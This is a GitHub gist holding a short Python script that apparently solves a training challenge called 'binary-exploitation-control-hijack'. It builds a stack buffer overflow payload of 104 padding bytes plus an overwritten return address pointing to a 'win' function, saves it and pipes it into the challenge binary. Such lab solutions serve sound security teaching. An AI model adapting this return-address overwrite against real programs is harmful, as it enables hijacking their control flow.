Skip to content

Instantly share code, notes, and snippets.

@morkev
Created November 24, 2024 08:06
Show Gist options
  • Save morkev/f734e7ca8f68cfd5dd8580c7eb021f5a to your computer and use it in GitHub Desktop.
Save morkev/f734e7ca8f68cfd5dd8580c7eb021f5a to your computer and use it in GitHub Desktop.
Binary Exploitation Control Hijack Hard
##################################################################
# HOW TO RUN THIS PUPPY:
# python3 poo.py > /dev/null
# wc -c payload.bin
# python3 poo.py | /challenge/binary-exploitation-control-hijack
##################################################################
import struct
import sys
offset_to_return = 104 # Calculated offset
win_address = 0x40188f # From GDB disassembly
payload = b"A" * offset_to_return
payload += struct.pack("<Q", win_address)
with open("payload.bin", "wb") as f:
f.write(payload)
sys.stdout.buffer.write(payload)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment